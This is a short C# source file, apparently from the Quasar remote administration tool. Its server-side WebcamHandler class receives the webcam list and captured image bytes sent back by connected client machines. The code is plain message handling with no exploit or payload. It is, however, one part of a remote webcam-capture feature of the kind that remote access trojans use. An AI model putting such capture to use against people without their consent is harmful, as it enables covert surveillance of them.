using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace Quasar.Server.Messages
{
    public class WebcamHandler : IMessageProcessor, IDisposable
    {
        public event EventHandler<byte[]> ImageReceived;
        public event EventHandler<string> WebcamsReceived;

        public bool CanExecute(IMessage message) => message is GetWebcamsResponse ||
                                                      message is GetWebcamResponse;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetWebcamsResponse resp:
                    Execute((Client)sender, resp);
                    break;
                case GetWebcamResponse resp:
                    Execute((Client)sender, resp);
                    break;
            }
        }

        private void Execute(Client client, GetWebcamsResponse message)
        {
            Debug.WriteLine($"[WebcamHandler] GetWebcamsResponse received: {message.Webcams}");
            WebcamsReceived?.Invoke(this, message.Webcams);
        }

        private void Execute(Client client, GetWebcamResponse message)
        {
            Debug.WriteLine($"[WebcamHandler] GetWebcamResponse received - Image size: {message.Image?.Length ?? 0} bytes");
            ImageReceived?.Invoke(this, message.Image);
        }

        public void Dispose()
        {
            ImageReceived = null;
            WebcamsReceived = null;
        }
    }
}
